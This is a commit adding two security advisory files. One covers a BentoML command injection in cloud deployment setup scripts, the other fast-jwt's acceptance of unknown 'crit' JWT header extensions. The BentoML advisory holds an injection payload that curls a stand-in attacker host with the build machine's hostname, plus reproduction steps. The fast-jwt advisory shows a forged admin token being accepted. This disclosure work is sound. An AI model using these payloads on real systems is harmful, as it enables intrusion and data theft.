Skip to content

Commit 686d06e

Browse files
1 parent 087d359 commit 686d06e

2 files changed

Lines changed: 130 additions & 0 deletions

File tree

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fgv4-6jr3-jgfw",
4+
"modified": "2026-04-03T22:03:22Z",
5+
"published": "2026-04-03T22:03:22Z",
6+
"aliases": [
7+
"CVE-2026-35043"
8+
],
9+
"summary": "BentoML: Command Injection in cloud deployment setup script",
10+
"details": "Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.\n\nThe generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.\n\n## Details\n\n**Fixed paths (commit ce53491):**\n- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`\n- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter\n- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.\n\n**Unfixed path:**\n\n`src/bentoml/_internal/cloud/deployment.py`, line 1648:\n\n def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:\n content = b\"\"\n config = BentoBuildConfig.from_bento_dir(bento_dir)\n if config.docker.system_packages:\n content += f\"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\\n\".encode()\n\n`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.\n\n**Remote execution confirmed:**\n- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`\n- Line 908: `upload_files.append((\"setup.sh\", setup_script))` uploads to BentoCloud\n- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment\n- The script runs on the cloud build infrastructure during container setup\n\n**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.\n\n## Proof of Concept\n\nbentofile.yaml:\n\n service: \"service:svc\"\n docker:\n system_packages:\n - \"curl\"\n - \"jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#\"\n\nGenerated setup.sh:\n\n apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1\n\nThe semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.\n\n## Impact\n\nA malicious `bentofile.yaml` achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:\n\n1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.\n2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).\n3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.\n\n## Local Reproduction Steps\n\nTested and confirmed on Ubuntu with BentoML source at commit 0772581.\n\nStep 1: Create a directory with a malicious bentofile.yaml:\n\n mkdir /tmp/bento-pwn\n cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'\n service: \"service:svc\"\n docker:\n system_packages:\n - \"curl\"\n - \"jq; touch /tmp/PWNED_BY_INJECTION #\"\n EOF\n\nStep 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):\n\n python3 -c \"\n import yaml\n with open('/tmp/bento-pwn/bentofile.yaml') as f:\n config = yaml.safe_load(f)\n pkgs = config['docker']['system_packages']\n script = f\\\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\\n\\\"\n print('Generated setup.sh:')\n print(script)\n with open('/tmp/bento-pwn/setup.sh', 'w') as f:\n f.write(script)\n \"\n\nStep 3: Execute and verify:\n\n rm -f /tmp/PWNED_BY_INJECTION\n bash /tmp/bento-pwn/setup.sh\n ls -la /tmp/PWNED_BY_INJECTION\n\nResult: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler.\n\nGenerated setup.sh content:\n\n apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1\n\nFor comparison, the fixed version (with shlex.quote) would generate:\n\n apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1\n\nThe single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.\n\n## Suggested Fix\n\nApply `shlex.quote` to each package name, matching the fix in `images.py`:\n\n if config.docker.system_packages:\n quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)\n content += f\"apt-get update && apt-get install -y {quoted} || exit 1\\n\".encode()\n\n— Koda Reef",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "bentoml"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.38"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.4.37"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33744"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/bentoml/BentoML"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-78"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-04-03T22:03:22Z",
62+
"nvd_published_at": null
63+
}
64+
}
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hm7r-c7qw-ghp6",
4+
"modified": "2026-04-03T22:01:25Z",
5+
"published": "2026-04-03T22:01:25Z",
6+
"aliases": [
7+
"CVE-2026-35042"
8+
],
9+
"summary": "fast-jwt accepts unknown `crit` header extensions (RFC 7515 violation)",
10+
"details": "## Summary\n\n`fast-jwt` does not validate the `crit` (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a `crit` array listing extensions that `fast-jwt` does not understand, the library accepts the token instead of rejecting it. This violates the **MUST** requirement in the RFC.\n\n---\n\n## RFC Requirement\n\nRFC 7515 §4.1.11:\n\n> If any of the listed extension Header Parameters are **not understood\n> and supported** by the recipient, then the **JWS is invalid**.\n\n---\n\n## Proof of Concept\n\n```javascript\nconst { createSigner, createVerifier } = require(\"fast-jwt\"); // v3.3.3\n\nconst signer = createSigner({ key: \"secret\", algorithm: \"HS256\" });\nconst token = signer({\n sub: \"attacker\",\n role: \"admin\",\n header: { crit: [\"x-custom-policy\"], \"x-custom-policy\": \"require-mfa\" },\n});\n\n// Should REJECT — x-custom-policy is not understood\nconst verifier = createVerifier({ key: \"secret\", algorithms: [\"HS256\"] });\ntry {\n const result = verifier(token);\n console.log(\"ACCEPTED:\", result);\n // Output: ACCEPTED: { sub: 'attacker', role: 'admin' }\n} catch (e) {\n console.log(\"REJECTED:\", e.message);\n}\n```\n\n**Expected:** Error — unsupported critical extension\n**Actual:** Token accepted.\n\n### Comparison\n\n```javascript\n// jose (panva) v4+ — correctly rejects\nconst jose = require(\"jose\");\nawait jose.jwtVerify(token, new TextEncoder().encode(\"secret\"));\n// throws: Extension Header Parameter \"x-custom-policy\" is not recognized\n```\n\n---\n\n## Impact\n\n- **Split-brain verification** in mixed-library environments\n- **Security policy bypass** when `crit` carries enforcement semantics\n- **Token binding bypass** (RFC 7800 `cnf` confirmation)\n- See CVE-2025-59420 for full impact analysis\n\n---\n\n## Suggested Fix\n\nIn `src/verifier.js`, add crit validation after header decoding:\n\n```javascript\nconst SUPPORTED_CRIT = new Set([\"b64\"]);\n\nfunction validateCrit(header) {\n if (!header.crit) return;\n if (!Array.isArray(header.crit) || header.crit.length === 0)\n throw new Error(\"crit must be a non-empty array\");\n for (const ext of header.crit) {\n if (!SUPPORTED_CRIT.has(ext))\n throw new Error(`Unsupported critical extension: ${ext}`);\n if (!(ext in header))\n throw new Error(`Critical extension ${ext} not present in header`);\n }\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "fast-jwt"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "6.1.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-hm7r-c7qw-ghp6"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://github.com/advisories/GHSA-9ggr-2464-2j32"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nearform/fast-jwt"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-345",
59+
"CWE-636"
60+
],
61+
"severity": "HIGH",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-04-03T22:01:25Z",
64+
"nvd_published_at": null
65+
}
66+
}

0 commit comments

Comments
 (0)